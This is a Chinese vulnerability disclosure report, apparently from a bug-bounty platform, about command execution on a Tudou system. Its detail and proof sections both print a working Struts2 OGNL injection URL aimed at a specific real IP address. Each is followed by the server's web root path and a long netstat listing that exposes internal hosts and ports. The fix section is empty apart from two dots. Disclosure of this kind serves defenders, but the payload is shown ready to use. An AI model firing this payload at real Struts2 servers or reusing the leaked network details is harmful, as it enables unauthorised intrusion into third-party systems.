漏洞详情

披露状态:

2014-09-29: 细节已通知厂商并且等待厂商处理中
2014-09-29: 厂商已经确认,细节仅向厂商公开
2014-10-09: 细节向核心白帽子及相关领域专家公开
2014-10-19: 细节向普通白帽子公开
2014-10-29: 细节向实习白帽子公开
2014-11-13: 细节向公众公开

简要描述:

土豆网某系统命令执行

详细说明:

1111.JPG


http://101.227.8.73/login.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}


/home/toodou/apache-tomcat-6.0.18/webapps/ROOT/


Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5666 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:199 0.0.0.0:* LISTEN
tcp 150144 0 127.0.0.1:44539 127.0.0.1:8081 ESTABLISHED
tcp 0 0 127.0.0.1:44444 127.0.0.1:8081 TIME_WAIT
tcp 0 0 ::ffff:127.0.0.1:8015 :::* LISTEN
tcp 0 0 :::8080 :::* LISTEN
tcp 0 0 :::80 :::* LISTEN
tcp 0 0 :::8081 :::* LISTEN
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 ::ffff:127.0.0.1:8005 :::* LISTEN
tcp 0 0 :::8009 :::* LISTEN
tcp 0 0 :::8010 :::* LISTEN
tcp 0 0 ::ffff:10.25.8.67:40347 ::ffff:10.25.12.124:11211 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:8081 ::ffff:127.0.0.1:44499 TIME_WAIT
tcp 0 0 ::ffff:10.25.8.67:58914 ::ffff:10.25.20.93:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:40349 ::ffff:10.25.12.124:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:35381 ::ffff:10.108.15.45:11218 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:36134 ::ffff:10.108.15.42:11218 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:32200 ::ffff:10.25.12.150:80 TIME_WAIT
tcp 0 0 ::ffff:10.25.8.67:26781 ::ffff:10.25.12.165:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:43846 ::ffff:10.25.20.92:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:45810 ::ffff:10.25.20.242:11210 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:14569 ::ffff:10.25.13.122:11213 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:50859 ::ffff:10.25.12.165:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:57026 ::ffff:10.25.12.129:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:45815 ::ffff:10.25.20.242:11210 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:43062 ::ffff:10.25.20.91:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:34739 ::ffff:10.25.20.93:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:43753 ::ffff:10.25.12.162:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:19684 ::ffff:10.25.12.162:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:35211 ::ffff:10.25.20.217:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:63511 ::ffff:10.25.13.127:11213 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:8081 ::ffff:127.0.0.1:44525 TIME_WAIT
tcp 0 0 ::ffff:10.25.8.67:19919 ::ffff:10.25.12.162:11211 ESTABLISHED
tcp 1 0 ::ffff:10.25.8.67:34600 ::ffff:10.25.8.81:8081 CLOSE_WAIT
tcp 0 0 ::ffff:10.25.8.67:14564 ::ffff:10.25.13.122:11213 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:34489 ::ffff:10.25.20.93:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:56437 ::ffff:10.108.15.36:11218 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:40588 ::ffff:10.25.12.124:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:34493 ::ffff:10.25.20.93:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:56606 ::ffff:10.25.13.125:11213 ESTABLISHED
tcp 1 0 ::ffff:10.25.8.67:20548 ::ffff:10.25.8.81:8081 CLOSE_WAIT
tcp 0 0 ::ffff:10.25.8.67:19669 ::ffff:10.25.20.92:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:

漏洞证明:

http://101.227.8.73/login.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}


/home/toodou/apache-tomcat-6.0.18/webapps/ROOT/


Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5666 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:199 0.0.0.0:* LISTEN
tcp 150144 0 127.0.0.1:44539 127.0.0.1:8081 ESTABLISHED
tcp 0 0 127.0.0.1:44444 127.0.0.1:8081 TIME_WAIT
tcp 0 0 ::ffff:127.0.0.1:8015 :::* LISTEN
tcp 0 0 :::8080 :::* LISTEN
tcp 0 0 :::80 :::* LISTEN
tcp 0 0 :::8081 :::* LISTEN
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 ::ffff:127.0.0.1:8005 :::* LISTEN
tcp 0 0 :::8009 :::* LISTEN
tcp 0 0 :::8010 :::* LISTEN
tcp 0 0 ::ffff:10.25.8.67:40347 ::ffff:10.25.12.124:11211 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:8081 ::ffff:127.0.0.1:44499 TIME_WAIT
tcp 0 0 ::ffff:10.25.8.67:58914 ::ffff:10.25.20.93:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:40349 ::ffff:10.25.12.124:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:35381 ::ffff:10.108.15.45:11218 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:36134 ::ffff:10.108.15.42:11218 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:32200 ::ffff:10.25.12.150:80 TIME_WAIT
tcp 0 0 ::ffff:10.25.8.67:26781 ::ffff:10.25.12.165:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:43846 ::ffff:10.25.20.92:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:45810 ::ffff:10.25.20.242:11210 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:14569 ::ffff:10.25.13.122:11213 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:50859 ::ffff:10.25.12.165:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:57026 ::ffff:10.25.12.129:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:45815 ::ffff:10.25.20.242:11210 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:43062 ::ffff:10.25.20.91:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:34739 ::ffff:10.25.20.93:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:43753 ::ffff:10.25.12.162:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:19684 ::ffff:10.25.12.162:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:35211 ::ffff:10.25.20.217:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:63511 ::ffff:10.25.13.127:11213 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:8081 ::ffff:127.0.0.1:44525 TIME_WAIT
tcp 0 0 ::ffff:10.25.8.67:19919 ::ffff:10.25.12.162:11211 ESTABLISHED
tcp 1 0 ::ffff:10.25.8.67:34600 ::ffff:10.25.8.81:8081 CLOSE_WAIT
tcp 0 0 ::ffff:10.25.8.67:14564 ::ffff:10.25.13.122:11213 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:34489 ::ffff:10.25.20.93:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:56437 ::ffff:10.108.15.36:11218 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:40588 ::ffff:10.25.12.124:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:34493 ::ffff:10.25.20.93:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:56606 ::ffff:10.25.13.125:11213 ESTABLISHED
tcp 1 0 ::ffff:10.25.8.67:20548 ::ffff:10.25.8.81:8081 CLOSE_WAIT
tcp 0 0 ::ffff:10.25.8.67:19669 ::ffff:10.25.20.92:11211 ESTABLISHED
tcp 0 0 ::ffff:10.25.8.67:

修复方案:

。。

标签: none

评论已关闭